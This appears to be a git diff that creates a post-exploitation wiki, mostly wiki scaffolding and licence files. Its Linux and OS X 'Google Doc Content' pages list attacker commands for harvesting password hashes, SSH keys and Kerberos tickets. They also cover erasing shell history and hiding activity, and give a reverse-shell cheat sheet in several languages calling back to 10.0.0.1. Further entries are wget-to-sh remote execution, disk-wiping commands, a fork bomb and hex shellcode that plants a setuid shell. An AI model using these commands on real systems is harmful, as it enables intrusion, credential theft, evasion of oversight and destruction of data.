diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..e43b0f9 --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +.DS_Store diff --git a/LICENSE b/LICENSE index 78228f7..788cd31 100644 --- a/LICENSE +++ b/LICENSE @@ -1,6 +1,6 @@ The MIT License (MIT) -Copyright (c) 2013 pwnwiki +Copyright (c) 2013 Rob Fuller Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in diff --git a/README.md b/README.md index 906e53b..aa405bd 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,35 @@ -pwnwiki.github.io -================= +Post Exploitation Wiki +====================== -PwnWiki - Previously known as the Post Exploitation Wiki +This wiki is powered by MDwiki which is a self contained wiki in a single HTML file. + +All you have to do to use the wiki is clone the repo to anywhere you can open HTML, served or local. + +Contributors please see here: https://github.com/mubix/post-exploitation-wiki/wiki/Contributor-Wiki + +### Live Online Copy: + +You can find a copy of the project online at: http://mubix.github.io/post-exploitation-wiki/. If you are reading this from the live website and want to get to the Github repository click here -> https://github.com/mubix/post-exploitation-wiki. + +### Offline Use: + + 1. Clone the repository or pull the archive ([download zip](https://github.com/mubix/post-exploitation-wiki/archive/master.zip)) of the repo + 2. Open index.html + 3. Most modern browsers don't allow the access of local files from a locally loaded HTML file. On Windows you can use [Mongoose Tiny](http://cesanta.com/downloads.html) or [HFS](http://www.rejetto.com/hfs/) to host the files locally. On OSX and Linux `python -m SimpleHTTPServer` seems to work just fine. + +### Reference Binaries: + +If the binary referenced isn't built into the respective OS, can be found here: +https://github.com/mubix/post-exploitation + +#### Known issue with Chrome: + +Chrome doesn't allow local file access from local files loaded in the +browser (ala index.html loading index.md). There are two ways around this. Use a web server to host +it (Apache, nginx, python SimpleHTTPServer, etc) or start Chrome with the `--allow-file-access-from-files` +argument. See here for more details: http://dynalon.github.io/mdwiki/#!faq.md + + +### More info about MDwiki: + +http://dynalon.github.io/mdwiki/#!index.md diff --git a/images/logo.jpg b/images/logo.jpg new file mode 100644 index 0000000..e143aad Binary files /dev/null and b/images/logo.jpg differ diff --git a/images/output.jpg b/images/output.jpg new file mode 100644 index 0000000..47c44da Binary files /dev/null and b/images/output.jpg differ diff --git a/index.html b/index.html new file mode 100644 index 0000000..24e873f --- /dev/null +++ b/index.html @@ -0,0 +1,209 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
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+ + diff --git a/index.md b/index.md new file mode 100644 index 0000000..7bf39dc --- /dev/null +++ b/index.md @@ -0,0 +1,36 @@ +![](images/logo.jpg) + +[Image Generated Here](http://www.addletters.com/pictures/restaurant-sign-generator/4729076.htm#.Um8oRyQeLuN) + +### PostExploitation.com is a collection TTPs (tools, tactics, and procedures) for what to do after access has been gained. + +- - - - - - + +### Live Online Copy: + +You can find a copy of the project online at: http://mubix.github.io/post-exploitation-wiki/ + +### Offline Use: + + 1. Clone the repository or pull the archive ([download zip](https://github.com/mubix/post-exploitation-wiki/archive/master.zip)) of the repo + 2. Open index.html + 3. Most modern browsers don't allow the access of local files from a locally loaded HTML file. On Windows you can use [Mongoose Tiny](http://cesanta.com/downloads.html) or [HFS](http://www.rejetto.com/hfs/) to host the files locally. On OSX and Linux `python -m SimpleHTTPServer` seems to work just fine. + +#### Referenced tools can be found here: https://github.com/mubix/post-exploitation (If they aren't built into the OS) + +- - - - - - +#### Submitting Content + +We realize that everyone has their favorite commands they run. Is your go-to content not up here? Want to submit it? Either submit a pull request or if you don't want to spend the time becoming a Git Jedi, just visit our [Google Form](https://docs.google.com/forms/d/1N7-jRjnUXoz-UwB2h0du2IrskFJW6hBGs4YsTwvEncE/viewform). Thanks! + +- - - - - - +Curators: + + * [@mubix](https://twitter.com/mubix) [gimmick:TwitterFollow](@mubix) + * [@WebBreacher](https://twitter.com/webbreacher) [gimmick:TwitterFollow](@WebBreacher) + * [@tekwizz123](https://twitter.com/tekwizz123) [gimmick:TwitterFollow](@tekwizz123) + * [@jakx_](https://twitter.com/jakx_) [gimmick:TwitterFollow](@jakx_) + +If you would like to become a curator, please contact [mubix@hak5.org](mailto:mubix@hak5.org) + +[gimmick:ForkMeOnGitHub ({ color: 'red', position: 'right' })](http://www.github.com/mubix/post-exploitation-wiki/) diff --git a/links.md b/links.md new file mode 100644 index 0000000..445fc6e --- /dev/null +++ b/links.md @@ -0,0 +1,31 @@ +# Links + +Hardware +--------- + +| Link | Description | Cost | +|------|-------------|------| +| [Raspberry Pi](http://www.raspberrypi.org/) | Small board, and low cost, there is a Kali Linux that is designed to run on it, but pretty slow processor | $25 | +| [PwnPlug/Pad/etc](http://pwnieexpress.com/collections/premium-pentesting-products) | Plug is a based off a Sheeva plug with an attack distro (ubuntu based) installed on it. Looks a lot like a wall wart. | $995| +| [BeagleBoard Black](http://beagleboard.org/Products/BeagleBone%20Black) | Description Needed | $45 | +| [Hak5 Rubber Ducky](http://hakshop.myshopify.com/collections/usb-rubber-ducky) | A USB stick that acts as a keyboard, types out payloads quickly and automatically. | $36 | +| [Hak5 Wifi Pineapple](http://hakshop.myshopify.com/collections/wifi-pineapple) | Wireless attack router | $99 | +| [Odroid X2](http://en.wikipedia.org/wiki/Odroid) | More RAM than the Pi (2GB) | $135 | +| [Udoo](http://www.udoo.org/)| Comparable with the Odroid X2 / Pwn Plug and Raspbery Pi | $100 | +| [GoodFet/Facedancer](http://goodfet.sourceforge.net/) | A open source JTAG adapter "loosely based upon the TI MSP430 FET UIF and EZ430U boards". The Facedancer board allows you to emulate USB devices so that one host can manipulate the USB devices or services of a second host. The Goodfet boards are an earlier edition of the Facedancer boards but are more general purpose, supporting JTAG and, with recent additions, USB to become a universal serial bus. | $70 [Facedancer21](http://int3.cc/collections/frontpage/products/facedancer21)
$50 [GoodFET42](https://www.adafruit.com/product/1279) | + +Software +--------- + + +Web Apps +--------- + + +Code Repos +--------- + +| Link | Description | +|------|-------------| +| [Panoptic](https://github.com/lightos/Panoptic) | Finds exploitable paths for LFI and RFI | +| [Daniel Miessler's SecLists Repo](https://github.com/danielmiessler/SecLists) | Solid repository of word lists for every occasion | diff --git a/linux/bash.md b/linux/bash.md new file mode 100644 index 0000000..1033b81 --- /dev/null +++ b/linux/bash.md @@ -0,0 +1,3 @@ +# Place Holder + +Content coming. Feel free to submit ;-) diff --git a/linux/blind.md b/linux/blind.md new file mode 100644 index 0000000..285b872 --- /dev/null +++ b/linux/blind.md @@ -0,0 +1,15 @@ + +# Linux Blind Files + +In some cases during exploitation you as an attacker gain the ability to read arbitrary files. As an attacker you need go-to files that cover as many different OS versions as possible in order to either confirm exploitation or gather intelligence on the exploited system. For this we use a "blind file". + +The files below are things to pull when all you can do is to blindly read. Examples of vulnerabilities or situations where this would be helpful might be: local file includes (LFI), directory traversals or remote file share instances like SMB, FTP, NFS or otherwise. + +| File | Description / Importance | +| -------- | ------------------------ | +| `/etc/issue` | A message or system identification to be printed before the login prompt. | +| `/etc/motd` | Message of the day banner content. Can contain information about the system owners or use of the system. | +| `/etc/passwd` | List of account names, groups, home directory, and shell (should be globally readable). | +| `/etc/resolv.conf` | Contains the current name servers (DNS) for the system. This is a globally readable file that is less likely to trigger IDS alerts than `/etc/passwd`. | +| `/etc/shadow` | List of all user's password hashes (requires root). | +| `/home/[USERNAME]/.bash_history`
`~/.bash_history`
`/root/.bash_history` | Shell history for [USERNAME], the current user or root respectively. This file can contain passwords and other sensitive commands and content. | \ No newline at end of file diff --git a/linux/bulk.md b/linux/bulk.md new file mode 100755 index 0000000..f683ac7 --- /dev/null +++ b/linux/bulk.md @@ -0,0 +1,331 @@ + +# Linux Google Doc Content # + +The content below is the raw data from the Google Doc that was first used to collect it. Over time, this content will be moved into sub-pages and organized but is placed here, now, so as to be more complete. We apologize for its appearance. + +---- + +## System +| Command | Description / Importance | +| ------- | ------------------------ | +| `uname -a` | Prints the kernel version, arch, sometimes distro, ... | +| `ps aux` | List all running processes | +| `top -n 1 -d` | Print process, 1 is a number of lines | +| `id` | Your current username, groups | +| `arch, uname -m` | Kernel processor architecture | +| `w` | who is connected, uptime and load avg | +| `who -a` | uptime, runlevel, tty, proceses etc. | +| `gcc -v` | Returns the version of GCC. | +| `mysql --version` | Returns the version of MySQL. | +| `perl -v` | Returns the version of Perl. | +| `ruby -v` | Returns the version of Ruby. | +| `python --version` | Returns the version of Python. | +| `df -k` | mounted fs, size, % use, dev and mount point | +| `mount` | mounted fs | +| `last -a` | Last users logged on | +| `lastcomm` | | +| `lastlog` | | +| `lastlogin (BSD)` | | +| `getenforce` | Get the status of SELinux (Enforcing, Permissive or Disabled) | +| `dmesg` | Informations from the last system boot | +| `lspci` | prints all PCI buses and devices | +| `lsusb` | prints all USB buses and devices/h | +| `lscpu` | prints CPU information | +| `lshw` | | +| `ex` | | +| `cat /proc/cpuinfo` | | +| `cat /proc/meminfo` | | +| `du -h --max-depth=1 /` | (note: can cause heavy disk i/o) | +| `which nmap` | locate a command (ie nmap or nc) | +| `locate bin/nmap` | | +| `locate bin/nc` | | +| `jps -l` | | +| `java -version` | Returns the version of Java. | + + + +## Networking +hostname -f +ip addr show +ip ro show +ifconfig -a +route -n +cat /etc/network/interfaces +iptables -L -n -v +iptables -t nat -L -n -v +ip6tables -L -n -v +iptables-save +netstat -anop +netstat -r +netstat -nltupw (root with raw sockets) +arp -a +lsof -nPi +to resume it ? "cat /proc/net/*" (more discreet) +what does the above mean? -> It means that all the information given by the above commands can be found by looking into the files under /proc/net , and that this approach is less likely to trigger monitoring or other stuff. +User accounts +local accounts: cat /etc/passwd +password hashes in /etc/shadow on Linux +password hashes in /etc/security/passwd on AIX +groups in /etc/group (and/or /etc/gshadow on Linux) +all accounts: getent passwd +should dump local, LDAP, NIS, whatever the system is using +same with getent group +Samba's own database: pdbedit -L -w or pdbedit -L -v +privileged accounts: cat +(above: cat ???) +mail aliases: cat /etc/aliases find /etc -name aliases, getent aliases +NIS accounts: ypcat passwd - displays NIS password file + +Credentials +SSH keys, often passwordless: /home/*/.ssh/id* +SSH agent: + +Kerberos tickets: /tmp/krb5cc_*, /tmp/krb5.keytab +PGP keys: /home/*/.gnupg/secring.gpgs + +Configs +ls -aRl /etc/ | awk '$1 ~ /w.$/' | grep -v lrwx 2>/dev/nullte +cat /etc/issue{,.net} +cat /etc/master.passwd +cat /etc/group +cat /etc/hosts +cat /etc/crontab +cat /etc/sysctl.conf +for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done # (Lists all crons) +cat /etc/resolv.conf +cat /etc/syslog.conf +cat /etc/chttp.conf +cat /etc/lighttpd.conf +cat /etc/cups/cupsd.confcda +cat /etc/inetd.conf +cat /opt/lampp/etc/httpd.conf +cat /etc/samba/smb.conf +cat /etc/openldap/ldap.conf +cat /etc/ldap/ldap.conf +cat /etc/exports +cat /etc/auto.master +cat /etc/auto_master +cat /etc/fstab +find /etc/sysconfig/ -type f -exec cat {} \; + +Determine Distro +lsb_release -d # Generic command for all LSB distros +/etc/os-release # Generic for distros using "systemd" +/etc/issue # Generic but often modified +cat /etc/*release +/etc/SUSE-release # Novell SUSE +/etc/redhat-release, /etc/redhat_version # Red Hat +/etc/fedora-release # Fedora +/etc/slackware-release, /etc/slackware-version # Slackware +/etc/debian_release, /etc/debian_version # Debian +/etc/mandrake-release # Mandrake +/etc/sun-release # Sun JDS +/etc/release # Solaris/Sparc +/etc/gentoo-release # Gentoo +/etc/arch-release # Arch Linux (file will be empty) +arch # OpenBSD; sample: "OpenBSD.amd64" +uname -a # often hints at it pretty well + +Installed Packages +rpm -qa --last | head +yum list | grep installed +Debian: dpkg -l +dpkg -l | grep -i "linux-image" +dpkg --get-selections +{Free,Net}BSD: pkg_info +Solaris: pkginfo +Gentoo: # equery must be installed +cd /var/db/pkg/ && ls -d */* # always works +Arch Linux: pacman -Q + +Package Sources +cat /etc/apt/sources.list +ls -l /etc/yum.repos.d/ +cat /etc/yum.conf + +Finding Important Files +ls -dlR */ # +ls -alR | grep ^d +find /var -type d +ls -dl `find /var -type d` +ls -dl `find /var -type d` | grep -v root +find /var ! -user root -type d -ls +find /var/log -type f -exec ls -la {} \; +find / -perm -4000 (find all suid files) +ls -alhtr /mnt +ls -alhtr /media +ls -alhtr /tmp +ls -alhtr /home +cd /home/; treels /home/*/.ssh/* +find /home -type f -iname '.*history' +ls -lart /etc/rc.d/ +locate tar | grep [.]tar$ # Remember to updatedb before running locate +locate tgz | grep [.]tgz$ +locate sql | grep [.]sql$ +locate settings | grep [.]php$ +locate config.inc | grep [.]php$ +ls /home/*/id* + .properties | grep [.]properties # java config files +locate .xml | grep [.]xml # java/.net config files +find /sbin /usr/sbin /opt /lib `echo $PATH | 'sed s/:/ /g'` -perm /6000 -ls # find suids +locate rhosts +Covering Your Tracks +Avoiding history filesmys +export HISTFILE= +or +unset HISTFILE +This next one might not be a good idea, because a lot of folks know to check for tampering with this file, and will be suspicious if they find out: + +However if you happen to be on an account that was originally inaccessible, if the .bash_history file is available (ls -a ~), viewcating its contents can provide you with a good deal of information about the system and its most recent updates/changes. +clear all history in ram +history -c +rm -rf ~/.bash_history && ln -s ~/.bash_history /dev/null (invasive) +touch ~/.bash_history (invasive) + history -c (using a space before a command) +zsh% unset HISTFILE HISTSIZE +tcsh% set history=0 +bash$ set +o history +ksh$ unset HISTFILE +find / -type f -exec {} (forensics nightmare) + +Note that you're probably better off modifying or temporary disabling rather than deleting history files, it leaves a lot less traces and is less suspect. + +In some cases HISTFILE and HISTFILESIZE are made read-only; get around this by explicitly clearing history (history -c) or by kill -9 $$'ing the shell. Sometimes the shell can be configured to run 'history -w' after every command; get around this by overriding 'history' with a no-op shell function. None of this will help if the shell is configured to log everything to syslog, however. +Obtain users' information +ls -alh /home/*/ +ls -alh /home/*/.ssh/ +cat /home/*/.ssh/authorized_keys +cat /home/*/.ssh/known_hosts +cat /home/*/.*hist* # you can learn a lot from this +find /home/*/.vnc /home/*/.subversion -type f +grep ^ssh /home/*/.*hist* +grep ^telnet `/home/*/.*hist* +grep ^mysql /home/*/.*hist* +cat /home/*/.viminfo +sudo -l # if sudoers is not. readable, this sometimes works per user +crontab -l +cat /home/*/.mysql_history + +Escalating +Looking for possible opened paths +ls -alh /root/ +sudo -l +cat /etc/sudoers +cat /etc/shadow +cat /etc/master.passwd # OpenBSD +cat /var/spool/cron/crontabs/* | cat /var/spool/cron/* +lsof -nPi +ls /home/*/.ssh/* + +Maintaining control +Reverse Shell +Starting list sourced from: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet +bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 (No /dev/tcp on older Debians, but use nc, socat, TCL, awk or any interpreter like Python, and so on.). +perl -e 'use Socket; $i="10.0.0.1"; $p=1234; socket(S,PF_INET, SOCK_STREAM, getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){ open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};' +python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);' +php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' +ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' nc -e /bin/sh 10.0.0.1 1234 # note need -l on some versions, and many does NOT support -e anymore +rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f +xterm -display 10.0.0.1:1se +Listener- Xnest :1 +Add permission to connect- xhost +victimIP +ssh -NR 3333:localhost:22 user@yourhost +nc -e /bin/sh 10.0.0.1 1234 + +Fun if Windows is present and accessible +If there is Windows installed and the logged-in user access level includes those Windows partition, attacker can mount them up and do a much deeper information gathering, credential theft and root-ing. Ntfs-3g is useful for mounting ntfs partitions read-write. +TODO: insert details on what to look for + +Stuff to be sorted +## GOING TO MOVE EVERYTHING HERE FOR LEGIBILITY ONCE EDITING DIES DOWN + +Command +Output +ps aux +List of running processes +id +List current user and group along with user/group id +w +Show info about who is logged, what are they are doing +who -a +Print information about users +cat /dev/core > /dev/audio + +cat /dev/mem > /dev/audio +Makes a sound from the memory content. +Usefulness of this??? (none, aside from pissing off the sysadmin, in the very unlikely case that the server has speakers and the legacy OSS driver) +sudo -p +allows the user to define what the password prompt will be +(useful for fun customization with aliases or shell scripts) +Deleting and Destroying +(If it is necessary to leave the machine inaccessible or unusable) +Note that this tends to be quite evident (as opposed to a simple exploitation that might go unnoticed for some time, even forever), and will most surely get you into troubles. + +Oh, and you're probably a jerk if you use any of the stuff below. +Command +Description +rm -rf / +This will recursively try to delete all files. +char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68? +"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99? + +"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7? +"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56? +"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31? +"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69? +"\x6e\x2f\x73\x68\x00\x2d\x63\x00? +"cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;"; +Hex version of rm -rf / +How is this supposed to work? + + +mkfs.ext3 /dev/sda +Reformat the device mentioned, making recovery of files hard. +dd if=/dev/zero of=/dev/sda bs=1M +Overwrite disk /dev/sda with zeros +Execute a remote script + +wget http://server/file.sh -O- | sh +This command forces the download of a file and immediately its execution, can be exploited easily using or reverse shit +Fork Bomb +:(){:|:&};: + + +The [in]famous "fork bomb". This command will cause your system to run a large number of processes, until it "hangs". This can often lead to data loss (e.g. if the user brutally reboots, or the OOM killer kills a process with unsaved work). If left alone for enough time a system can eventually recover from a fork bomb. + + +Stolen from: http://incolumitas.com/wp-content/uploads/2012/12/blackhats_view.pdf +World +writable +directories + + +Find word writable folders outside your home directory. It would be a tremendous success if we could write, say to /etc. So we could add configuration files and therefore pretty sure execute code as root, since many daemons read a specific number of primary and secondary configuration files, whereas the secondary ones are often not created yet. If the superusers home (/root) would be writable, we could create shell startup files that doesn't exist yet: .profile, +.bash_profile, .bashrc... +find / \( -wholename +'/home/homedir/*' -prune \) -o \ +( -type d -perm -0002 \) -exec +ls -ld '{}' ';' 2>/dev/null + + +World +writable files +What if /etc/passwd would be writable? Yeah, we just could add another root user and we would have won! Whereas the foregoing scenario is just too good to be +true, it really makes sense to search for world writable files outside your own territory (= your home directory). +find / \( -wholename +'/home/homedir/*' -prune -o +-wholename '/proc/*' -prune \) +-o \( -type f -perm -0002 \) +-exec ls -l '{}' ';' 2>/dev/null +Logfiles +Sometimes a security unaware administrator chmods a sensitive log file, because he couldn't view it and therefore leaks potentially sensitive data such as +passwords or other important information. +find /var/log -type f -perm +-0004 2>/dev/null +Setuid / setgid files +We already examined fully why setuid and setgid files are worth to be double checked. Such a file owned by root and susceptible for attacks is a big weakness. +find / \( -type f -or -type d \) +-perm -6000 2>/dev/null + + + diff --git a/linux/persistance.md b/linux/persistance.md new file mode 100644 index 0000000..1033b81 --- /dev/null +++ b/linux/persistance.md @@ -0,0 +1,3 @@ +# Place Holder + +Content coming. Feel free to submit ;-) diff --git a/linux/privesc.md b/linux/privesc.md new file mode 100644 index 0000000..1033b81 --- /dev/null +++ b/linux/privesc.md @@ -0,0 +1,3 @@ +# Place Holder + +Content coming. Feel free to submit ;-) diff --git a/mdwiki-0.5.5/GPLv3.txt b/mdwiki-0.5.5/GPLv3.txt new file mode 100644 index 0000000..94a9ed0 --- /dev/null +++ b/mdwiki-0.5.5/GPLv3.txt @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. 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It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/mdwiki-0.5.5/LICENSE.txt b/mdwiki-0.5.5/LICENSE.txt new file mode 100644 index 0000000..fe4f79c --- /dev/null +++ b/mdwiki-0.5.5/LICENSE.txt @@ -0,0 +1,48 @@ +MDwiki is licensed under the terms of the GNU GPLv3 with additional terms and +linking exceptions. The GPLv3 license text can be found in the GPLv3.txt file, the +additional terms are given below this paragraph. + +Linking exceptions +------------------ + +In addition to the terms in the GPLv3 the following linking exceptions apply: + +The authors of this work grant the rights to dynamically link against the below +listed external sources or binaries during runtime, as an exception to the terms of +the GNU GPLv3, under the terms that none of that linked code shall be deemed part of +this work, or a derivative work of this work, and as such are not required to meet +the license terms of the GPLv3 and as such are not covered by the terms of the GPLv3 +when conveying this work. + +The full and exhaustive list of those sources excepted from the GPLv3 are: + +* The Google Maps API v3 located at: http://maps.google.com/maps/api/js +* The twitter "follow button" widget located at http://platform.twitter.com/widgets.js +* The GitHub Gist API located at http://gist.github.com/{id}.js. This applies only to + the javascript coded issues by GitHub Inc. and explicitly does not apply to the + content of any GitHub gist. +* The disqus API located at http://.disqus.com/embed.js where is the + userid of the forum. + + +Additional terms to GPLv3 +------------------------- + +In compliance with section 7 of the GNU GPLv3 the following additional terms apply: + +a) The contained and displayed copyright attribution footer notice may not be removed, + modified, altered or styled, or being removed, modified, altered or styled by + external software (scripts, stylesheets, filters) in a way that would considerably + affect visibility or readability of the notice to the user or any third party that + uses the software locally or over the network; this especially includes resizing, + overlaying, hiding or similar techniques. + +b) You may adjust or style the copyright footer to suit the appearance or layout of + your website, as long as this does not violate the terms given in section (a) + +c) Attribution hyperlinks in the footer have to be kept unaltered. + +d) You may add your name to the list of copyright holder(s) in the footer if you make + changes to the work, keeping intact all other copyright holder names + +e) Changes to these terms require written permission by the copyright holder(s). diff --git a/mdwiki-0.5.5/README.md b/mdwiki-0.5.5/README.md new file mode 100644 index 0000000..bfc7bbf --- /dev/null +++ b/mdwiki-0.5.5/README.md @@ -0,0 +1,4 @@ +MDwiki +====== + +See http://www.mdwiki.info/ for more documentation and details. diff --git a/mdwiki-0.5.5/mdwiki-debug.html b/mdwiki-0.5.5/mdwiki-debug.html new file mode 100644 index 0000000..deb9b5d --- /dev/null +++ b/mdwiki-0.5.5/mdwiki-debug.html @@ -0,0 +1,3883 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
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+ + diff --git a/mobile/android.md b/mobile/android.md new file mode 100644 index 0000000..1033b81 --- /dev/null +++ b/mobile/android.md @@ -0,0 +1,3 @@ +# Place Holder + +Content coming. Feel free to submit ;-) diff --git a/mobile/ios.md b/mobile/ios.md new file mode 100644 index 0000000..1033b81 --- /dev/null +++ b/mobile/ios.md @@ -0,0 +1,3 @@ +# Place Holder + +Content coming. Feel free to submit ;-) diff --git a/msf/auxiliary.md b/msf/auxiliary.md new file mode 100644 index 0000000..1033b81 --- /dev/null +++ b/msf/auxiliary.md @@ -0,0 +1,3 @@ +# Place Holder + +Content coming. Feel free to submit ;-) diff --git a/msf/exploit.md b/msf/exploit.md new file mode 100644 index 0000000..1033b81 --- /dev/null +++ b/msf/exploit.md @@ -0,0 +1,3 @@ +# Place Holder + +Content coming. Feel free to submit ;-) diff --git a/msf/meterpreter.md b/msf/meterpreter.md new file mode 100644 index 0000000..ce411ec --- /dev/null +++ b/msf/meterpreter.md @@ -0,0 +1,3 @@ +# Meterpreter + +Just the commands built in to meterpreter, post modules and railgun are in their own sections. diff --git a/msf/post.md b/msf/post.md new file mode 100644 index 0000000..1033b81 --- /dev/null +++ b/msf/post.md @@ -0,0 +1,3 @@ +# Place Holder + +Content coming. Feel free to submit ;-) diff --git a/msf/railgun.md b/msf/railgun.md new file mode 100644 index 0000000..1033b81 --- /dev/null +++ b/msf/railgun.md @@ -0,0 +1,3 @@ +# Place Holder + +Content coming. Feel free to submit ;-) diff --git a/msf/tools.md b/msf/tools.md new file mode 100644 index 0000000..1033b81 --- /dev/null +++ b/msf/tools.md @@ -0,0 +1,3 @@ +# Place Holder + +Content coming. Feel free to submit ;-) diff --git a/navigation.md b/navigation.md new file mode 100644 index 0000000..8b52059 --- /dev/null +++ b/navigation.md @@ -0,0 +1,73 @@ +# Post Exploitation Wiki + +[Home](index.md) + +[Windows]() + + * [Autostart Locations](windows/autostart.md) + * [Binary Planting](windows/binary.md) + * [CMD Commands](windows/cmd.md) + * [Covering Tracks](windows/cover.md) + * [Files - Blind](windows/blind.md) + * [Files - Finding](windows/find_files.md) + * [Files - Important](windows/files.md) + * [Persistance](windows/persistance.md) + * [Powershell](windows/powershell.md) + * [Privilege Escalation](windows/privesc.md) + * [Remote Access](windows/remote.md) + * [UAC Bypassing](windows/uac.md) + * [MSSQL Servers](windows/mssql.md) + + +[Linux]() + + * [Google Doc Content](linux/bulk.md) + * [Files - Blind](linux/blind.md) + * [SH/BASH Commands](linux/bash.md) + * [Persistance](linux/persistance.md) + * [Privilege Escalation](linux/privesc.md) + + +[OSX]() + + * [Google Doc Content](osx/bulk.md) + * [Bash Commands](osx/bash.md) + * [Files - Blind](osx/blind.md) + * [Persistance](osx/persistance.md) + * [Privilege Escalation](osx/privesc.md) + +[Mobile]() + + * [Android](mobile/android.md) + * [iOS](mobile/ios.md) + +[Other OSs]() + + * [zOS](otheros/zos.md) + * [AS/400](otheros/as400.md) + * [Cisco](otheros/cisco.md) + * [Juniper](otheros/juniper.md) + +[Scripting]() + + * [Python](scripting/python.md) + * [Ruby](scripting/ruby.md) + * [Perl](scripting/perl.md) + +[Metasploit]() + + * [Meterpreter](msf/meterpreter.md) + * [Auxiliary Modules](msf/aux.md) + * [Exploit Modules](msf/exploit.md) + * [Post Modules](msf/post.md) + * [Railgun](msf/railgun.md) + * [MSF Tools](msf/tools.md) + +[References]() + + * [Unix Rosetta Stone](references/rosetta.htm) + + +[Links](links.md) + +[gimmick:themechooser](Wiki Theme) diff --git a/osx/bash.md b/osx/bash.md new file mode 100644 index 0000000..1033b81 --- /dev/null +++ b/osx/bash.md @@ -0,0 +1,3 @@ +# Place Holder + +Content coming. Feel free to submit ;-) diff --git a/osx/blind.md b/osx/blind.md new file mode 100644 index 0000000..1033b81 --- /dev/null +++ b/osx/blind.md @@ -0,0 +1,3 @@ +# Place Holder + +Content coming. Feel free to submit ;-) diff --git a/osx/bulk.md b/osx/bulk.md new file mode 100755 index 0000000..a5bdf5c --- /dev/null +++ b/osx/bulk.md @@ -0,0 +1,138 @@ + +# OS X Google Doc Content # + +The content below is the raw data from the Google Doc that was first used to collect it. Over time, this content will be moved into sub-pages and organized but is placed here, now, so as to be more complete. We apologize for its appearance. + +---- + +## Blind Files +(things to pull when all you can do is blindly read) LFI/dir traversal +/etc/resolv.conf (everyone always has read on this and it wont trigger an IDS) + +## System +uname -a +ps aux +ps -aef +id +arch +w +who -a +gcc -v +mysql --version +perl -v +ruby -v +python --version +df -k +mount +last -a +lastlogin (*bsd) +getenforce <- does not work on Lion no idea if this work in previous versions +dmesg +lsusb<- does not work on Lion no idea it this work on previous versions +lshw <- does not work on Lion no idea it this work on previous versions +free -m <- does not work on Lion no idea it this work on previous versions +du -h --max-depth=1 / +which nmap (see if it's already installed) +locate bin/nmap +which nc (see if it's already installed) +locate bin/ +whoami +jps -l +java -version + +## Networking +hostname -f +ip addr show +ifconfig -a +route -n +cat /etc/network/interfaces +iptables -L -n +netstat -anop +netstat -r +netstat -nltupw (root with raw sockets) +arp -a +lsof -nPi + +## Configs +ls -aRl /etc/ | awk '$1 ~ /w.$/' | grep -v lrwx 2>/dev/null +cat 